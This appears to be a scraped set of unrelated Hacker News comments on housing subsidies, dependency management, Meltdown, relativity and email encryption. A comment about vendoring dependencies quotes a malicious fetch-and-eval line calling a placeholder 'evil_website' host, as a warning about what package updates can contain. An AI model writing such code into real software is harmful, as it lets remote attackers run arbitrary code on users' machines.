skysight-inc/HackerNews huggingface dataset:
Agreed. I probably miscommunicated a little bit, it's not so much that I don't see the reasons for the subsidies. I do, they're terribly important to keep our cities sane, diverse, equitable and full of opportunities for social mobility, and I agree with much of what you've said. (dating a sociologist for half a decade helped me understand :p)

But rather, that it's hard to find the balance. Particularly because you've got genuine concerns from the hundred thousand poor people who weren't able to get in on those sweet but few 100 subsidised units in the mission who have their minds blown that their municipality spent $600k a unit for them with public money that should go to their quality of life, too. What do you say to them...
That plan causes a whole set of other problems when actually executed. First off, two big factors in the price of an apartment are location and amenities of the building. So you can't really build affordable and luxury units in the same building. What you end up with is luxury units and subsidized units. That is certainly a category of "affordable", but the result is a bunch of people will get angry sharing their building with other residents who are paying a fraction of the price for basically the same apartments.

Also not everyone who needs affordable housing is a working class family that is trying to pull themselves up by their bootstraps. You can get a lot of "less desirable" residents like current and recovering addicts or people with mental illnesses. They obviously deserve affordable housing, but you will find that plenty of people who buy luxury apartments don't want to share the elevator with them.

You can just check the Yelp reviews of any building that has a mix of luxury and subsidized housing to see examples of these issues. Buildings like this always attract bad reviews, suffer from high turnover, and therefore have low occupancy rates among their luxury units.
> They can solve desirability by building together that stuff that makes a city desirable - other people, businesses, walkability, modern design.

The things that make a city desirable (and supportable) are largely natural features of its location, which you either can't currently practically engineer (pleasant weather) or which are very expensive to engineer (like access to fresh water supply). Places that are currently unpopulated and have low land prices are usually lacking these things.
This is a great idea, I wonder if a bio metric system rather than key card might be a better way of controlling the distribution of goods. It is my understanding that homeless people have a problem with losing their property through theft or cities just trashing their belongings when they are not looking. It would be a shame if a person could not access this service just because some jerk stole their card.
This is a rehash of my comment elsewhere here, responding to a similar point:

There are advantages to checking in all your deps, but many drawbacks as well (especially for an interpreted language; something like Go avoids a few of these):

- Incredibly slow SCM operations unless you use the perfect options every time (good luck, new devs). I've experienced this with Perforce and Git, and hoo boy does a "get three cups of coffee while you wait"-time diff/commit operation throw a hitch in your plans.

- You need either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read when you update stuff.

- Actually understanding the diffs you read when packages get updated. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.

- Hassles with regards to compiled dependencies. You have to filter them out of source control (can be a hassle to find all the places they live), or remember to rebuild when changing OS versions/stdlib versions/runtime versions/architectures/etc. That can get pretty annoying, especially since in my experience each "runtime loaded" compiled dependency gives you many completely different, utterly unintelligible errors when it's used in an environment where it should be rebuilt.
> "Several commenters leaving out Perl in discussions of the next step up from bash scripts is truly odd."

I'm having a hard time following you here. Do you think that they're doing so for any other reason that Perl is no longer their go-to tool? There are communities where Perl is still used: PostgreSQL for example uses Perl for some of its scripting, as well as its build farm tool, in particular because of its portability on older systems.

That said, from what I've seen over the past 10 years or so, Perl hasn't had much of a presence in areas where a lot of computer work in tech is being done. For example, in cloud computing, or scientific computing, or machine learning, or web frameworks. Please don't read this to mean that Perl couldn't be or isn't being used in these cases or wouldn't be a better fit. (As an aside, I think Perl missed out a lot while a large portion of the community was focused on Perl 6: there's only so much energy in a community, and that absorbed on Perl 6 wasn't focusing on evangelism. But that's not something I'm interested in litigating here.) Or that there isn't something a bit frustrating in seeing the wheel reinvented time and time again. And so many examples on the web use bash as a common denominator. This puts Perl further out of mind if it's not already part of your everyday workflow. And how many developers today have come of age without seeing Perl in their everyday environments?

Consider the current forum. What's the percentage of front-page posts that are about Perl or tools where Perl is a part of the tool chain? It would be understandable for the people who frequent HN to not view Perl as their go-to. I don't consider it uncivil for people to neglect to mention some other language when it's not something they'd actually think of reaching for. It seems the solution would be to share examples of where Perl provides advantages, both in the comments here and in submissions to HN.
What I had in mind was basically FUSE (like https://github.com/joe42/CloudFusion). I don't think it would violate sandboxing, but it's probably very non-trivial to implement in this kind of app
Wildcard certificates! \o/
I find newer cars' brake lights at night very annoying with their PWM "trails".
I just meant as a solution to the fact that people can typosquat or jack a name when a package is deleted.

If the developers can't get the hash right then there's not much that can be done.
> The quote about reducing the regulatory burden for but only for affordable housing to cut down on the cost seems telling - essentially admitting that at least some portion of the regulations in place aren't necessary and are simply a waste of money.

It is not such an admission, because it could just as well view the regulation as generally beneficial but in tension with the goal of providing affordable housing.

You are viewing desirability of regulation in an unreasonably context-blind and binary manner.
> The fact that Git, Python 3, SSH and nginx worked fairly ok implied they probably did some testing too.

Or it's a simple side effect of them being portable software. Since the same code has to work on very different ISAs like 32-bit x86 and 32-bit ARM, any architecture-specific code has to be cleanly separated, with a portable fallback. As long as the compiler can still target the "486" architecture, they'll work.

It's a different story with anything which depends on lower-level platform details, like the kernel or glibc's pthread.
AMD chips do not need PTI. All the performance hits people are talking about right now would be irrelevant on a cloud farm that used AMD CPUs for their hosts. If any such cloud farms exist, they had better be declaring that loud and proud; I expect there will be a lot of people looking to jump ship.
Because connecting them between other communities is expensive and requires more investment then we value on both a state and national level. I would love a state to decide to go all out for fast transit and build communities that way, but we don’t do it well here.
i5-4690K (L1 4x32KB; L2 4x256KB; L3 6MB): https://i.imgur.com/FUs1isW.png

LG v30 (L2 2MB): https://i.imgur.com/q5R3bLY.png
Is it really a grey area? Surely it's just plain old copyright infringement?

If facebook shuts down it doesn't mean all multimedia content that was ever hosted there suddenly gets dumped into the public domain. At most you gave the company that run the site an irrevocable, international license to that content (depending on their TOS), it doesn't apply to everyone else and it didn't get put into the public domain or under some other open source license.

Nintendo is sending all users their post history so they can personally archive it if they wish. If anyone else archives it, it's just copyright infringement...

Personally, I respect the work that the Internet Archive and other archivers do, so this is definitely not a hill I'm willing to die on.
> and the ME MSRs are also not exposed.

This is the core question: is this isolation absolutely perfect, or can it be pierced in any way? Something on a severity level like Spectre/Meltdown - people would have laughed you off the stage half a year ago when you told 'em you could read kernel memory from Javascript without exploiting both the browser and the kernel - is IMHO certain to be present in either of the "management" solution, and I'd like to be prepared when the bomb explodes.
I guess I'm asking if you've written Signal or any other mode of secure messaging into a contract explicitly, in some kind of sufficient notice clause.
Because it leads to human rights atrocities, and there is no way to define “better” genes objectively.
So we can feel clever for having actually gotten adoption, rather than feeling clever for creating a wonderfully-secure new system that can't compete with the network effect of e-mail.
I don't think that's correct, do you have an example? This works for me:

$ var=$(echo $'a\nb')
$ echo "$var"
a
b
From 200K lines of CoffeeScript to zero: making decaffeinate super-stable
Well on pressurized aircraft the cargo areas are generally inside the pressure vessel so temperatures will be similar to the passenger areas. Also the batteries will be producing heat when in use, so I would imagine cooling would be a bigger issue, especially when the plane is baking in the sun at the airport for the whole day in the summer.
> using political correctness to bully people around them.

"Please don't use unnecessarily harmful/crude/we-don't-like-it language when giving names to pieces of computer software that we host, manage, and coordinate for you" counts as bullying now? I think not. As they say, if you don't like it, don't play.

And besides, NPM seems pretty focused on package names alone (as they should be). If you absolutely must live out your libertarian fantasy by being insulting, nobody's stopping you from making the API to your package something like:

const pkg = require('totally-innocuous')

pkg.IHateYouBecauseOfYourEthicityOrGenderOrReligionAndIAmProudOfIt()
Homotopy Type Theory and Higher Inductive Types
What do folks use these days? Artefactory? Nexus?
Where I live, in Mountain View, the housing crunch is epic. Developers are pitching many large developments, and the cost per unit is ludicrous. Part of it is that they're building high end stuff, part is land costs, part is high labor cost since we're in a real estate boom, but each new unit of housing in Mountain View also incurs something approaching six figures in permit costs, and the city often milks the developers for things like local park improvements, which passes the costs onto the new construction as well. Sorry cities, you can't have it both ways - can't demand more of developers and lower prices.
>Well a lot of processes run as Root anyway.

Then you didn't listen to DJB like 15 years ago. Moreso, your processes shouldn't be running under the same username. Principle of least user authorization people.
> a whole set of other problems when actually executed

And those are at least as worthy of direct attention and some solution.

If someone cannot handle themselves, maybe they shouldn't be given a subsidized unit in a fancy expensive city, but maybe society should help them by maximizing the help they get, and that is probably somewhere where simply being costs almost nothing, and where employing caretakers wouldn't cost two arms and a leg per hour, and so on. (And of course this doesn't mean ship all the addicts to Alaska/Wyoming.)
The D Blog in 2017
I think that it's really hard for stuff like this to take off, to fab a real CPU can cost many hundreds of thousands of dollars of NRE, to fab a piece of open source software the NRE is essentially $0 - there just aren't enough (maybe no) people with the interest and time to spend on a large open source project AND hundreds of thousands of dollars to throw at it
I learnt a lot from “Introducing Einstein's Relativity” by Ray d'Inverno and “A First Course in General Relativity” by Bernard Schutz. However, they are by no means leisurely reads. You need to be prepared to expand your mind (both your physical intuition and mathematical technique) and work very hard (you don't learn just by reading theory, you need to solve exercises and perform long calculations).
I don't see how practical it is as a trainer though. At least when I was learning, those planes wouldn't get much if any downtime. You will still need more time to charge than it does to just throw some avgas in the plane. Also it would be impossible to do some parts of your flight training in this plane because of its tiny endurance.
In the past if you had a RCE that only got user level access and that user was very locked down there was only a limited amount of damage they could have done. Now with meltdown, every RCE is a full information loss at system level exploit.
Uber Shareholders Including Kalanick Loosen Grip with Sales of Stock
The `>>` operator in use is /appending/ to the file.

Also, as mentioned in a sibling comment, your hello.txt is both an input and output.
From that I learned about Nunavut, this was not on the maps I had as a kid.

https://en.wikipedia.org/wiki/Nunavut

Fascinating.
Oh, I meant before the trailing newlines, sorry for being unclear. Try using a\nb\n\n\n instead of a\nb and observing that the output doesn't change.
The problem is that you can't do it. More precisely, you cannot get people to convert to your encryption scheme. And if you could do it, you could as well convert them to a better protocol altogether.

At least this is how I understand tptacek's argument.
So instead of mid-january, we’ll now get wildcard certificates at the end of february, or early march?

That’s disappointing, but still great to look forward for.

(Let’s hope nothing unexpected delays it further)
I don't use NPM (or community managed package managers in general), but anyone know why there isn't an LTS feature with packages? So that, when searching packages, if a package is flagged as LTS, you know that it and all its dependencies have long term support and there are contingencies on what happens if the package is abandoned. Obviously, there would need to be a community that reviews and approves packages that aim to be LTS.
Land is cheap. Even in high priced areas there are always parcels ripe for redevelopment.

There are two reasons: one is that the units are built out more luxurious than they need to be. At least 30-40% higher.

The second is union labor (or prevailing wage) you're spending three times the amount on labor as hiring local, cheaper labor.
General relativity is, fundamentally, the study of the metric tensor: it is the object that connects the geometric representation of space and time with mass and energy. Different metric tensors can produce wildly different results, from flat space to black holes to bubbles in space time that provide inertial reference frames that can travel "faster" than than the speed of light.

You could spend your entire life studying small variations in metric tensors. Some people do.

More simply:

1. Light travels from point A to point B via the shortest path.

2. In the absence of mass (aka where the Minkowski metric applies), the shortest path is a "straight line".

3. In the presence of mass (where a non-trivial metric exists), space itself curves. Light, which follows the shortest path between two points, must follow this curved space.

As a lower-dimensional analogy, think of what a "straight" line means on the surface of a sphere[1]. The shortest path between two points is, by definition, a "straight" line, but if the space itself that the path is embedded in is curved, then when viewed from a higher dimension (i.e. on the surface of the sphere it's straight for you, but if you were in space) it would appear curved.

The analogy fails when you attempt to think about it in higher dimensions, since humans have a very difficult time perceiving anything greater than the standard 3+1 spatial & time dimensions. But the math still holds.

Light will always travel in a straight line, it just so happens that gravity redefines what "straight" actually means.

1. http://mathworld.wolfram.com/GreatCircle.html
This is exactly how I work on 9front. All my compiles and computationally heavy stuff gets done on my loud cpu/fs server, while I can use my raspberry pi (or quite old thinkpad when I'm not at my desk) as the terminal and not have to deal with noise and space requirements of another computer or dual boot/virtualize on my main rig.
that joke, on Silicon Valley, about the blood donation boy... is based on real life Peter Thiel

https://www.inc.com/jeff-bercovici/peter-thiel-young-blood.h...
There are complementary technologies which largely address the key exchange problem, such as RFC-7929:

https://tools.ietf.org/html/rfc7929

This is already supported by email providers like Posteo since 2015:

https://posteo.de/en/blog/new-posteo-public-key-directory

They also recently added support for Autocrypt itself, as linked above.
They're driving down mass-market LiIon specific energy cost ($ per Wh/kg) via Gigafactory. No?
I've noticed this with some LED light fixtures in people's houses before and deliberately don't mention it because once you see it you can't unsee it. Particularly evident on things like running water in a bathroom.

I can deal for a few minutes, they have to live there!
It doesn't help us all that much that a lot of people are using the Signal Protocol since they're using it in several incompatible silos. Whereas virtually all people using email can communicate with each other.

I use the vanilla Signal. I cannot talk to users of Whatsapp Signal.

Also, there is value in email's address scheme. The person@organization.tld format is very convenient for identifying senders and recipients.
> the screen isn’t on with static elements for 8 hours

I have two old cellphones mounted on the wall in my house that show time, weather, control the thermostat, etc. Most of the display is static. After a couple of years the burn-in is dramatic. I was surprised as I thought only phosphors burned.
I'm sorry, charging $700k for units like pictured here isn't anything out of ordinary considering some units will have up to 4 bedroom.

https://www.eastbaytimes.com/2017/10/11/emeryville-affordabl...

It's not exactly located in cheap area either.

https://www.google.com/maps/place/3706+San+Pablo+Ave/@37.832...

Building up makes sense, but considering complete lack of undeveloped land in this area, that's not really feasible.

In some countries, residents of a city block can work with real estate developers to build-up, and as long as 80%-85% agree, the project proceeds. Not sure if equivalent mechanism exists in CA.
Have you considered that there might be a reason why none of the proposed schemes to retrofit encryption onto email involve double-ratchet protocols, even though all sorts of people come up with new messaging apps that do use double-ratchets? I think it's because it's very painful to accomplish ratchets in store-and-forward email, where the message update frequency is often measured in minutes, not milliseconds.

At any rate: suppose you actually accomplished that. You've still addressed only one of the bullets in my list above. Why bother? If you can get people to adopt new software, get them to adopt Signal, WhatsApp, or Wire.
I am curious if you could point to some of these studies that show harm of economic segregation. I'd like to read a few. (not /s)
Agree. I think a better solution is to simply get employers to relocate to locations where land is cheap. People are going to go to where they can get work. If the employers relocate then it has the added benefit of people being able to find work in areas where land is cheap. This also puts pressure off of the dense metropolitan cities.
Worth noting that there's a ~20% differential between the dollar and the Euro though.
Is this a Program -> CPU interaction that is slowing things down, or is this a CPU -> network interaction.

I'm wondering if there are classes of network drivers that are having a much larger effect in performance. Network cards these days can do many things to improve performance like TCP/UDP offloading and because of that their drivers are very complex and I'm going to assume that there well be Meltdown fallout because of this.
Not following you.

Sounds to me like if land, not construction, is the dominant factor in cost, luxury and affordable units should cost about the same amount. Unless the affordable units were higher density.
I don't think it's overly pessimistic. How about you try to open a doorknob with your fingers taped together.
How come people continue to live in flood planes, hurricane zones, or the Northeast?

Massive Winter Storm Hits Northeast - https://www.npr.org/sections/thetwo-way/2018/01/04/575643483...
CryptoMilli – Check whether you're crypto millionaire
In some of those cases, the active research has been going on for as long as deep learning itself- for instance, one-shot-learning comes from the '90s, if memory serves, so does transfer learning ('93, wikipedia says). My hunch is that in such cases only mediocre solutions exist.

And of course, just because there's reasearch in a given area doesn't mean that progress will necessarily be made. Frex, research on semantics has been going on since the dawn of AI and we 're not even close yet.

Personally, I think it's always good to have people pointing out limitations of a technique. Minsky and Papert caused a lot of consternation back in Perceptrons, but without that, who knows when the ANN researchers would have gotten off their butts and tried to solve real problems.
Interesting, well thats great to know. Thanks for the ELI5 explanation.
Yes, I've used Signal and other messengers, including "IM's", to send things longer than a sentence. And, when I send email to people, if I have something more complicated than a paragraph or two to send, I make an actual document anyways. So what's your argument?
And then how many game servers can you run on a machine? Hopefully a lot more than just one.
Intel is cheating by validating the protection ring of speculative executions asynchronously, aka Meltdown, which makes this timing attack work in kernel space and requires the PTI mitigation. ARM does this on some cores too. AMD insists that they do not.
Ask HN: What is your favorite pocket knife?
I need a new knife and I wanted your recommendations on them.
It's possible that more bona-fide messages are sent every day with WhatsApp than with email, whose stats include (and, at least for me, are dominated by) automated transactional emails. I don't think "network effect" is as powerful an argument as you want it to be.
If it really takes no noticeable effort to make the same vehicle, why doesn't Honda make the same vehicle? There are a lot of base assumptions in this oped that don't necessarily seem to be true.
Yep! No lagging/hanging anymore.
Learn how to trade cryptocurrencies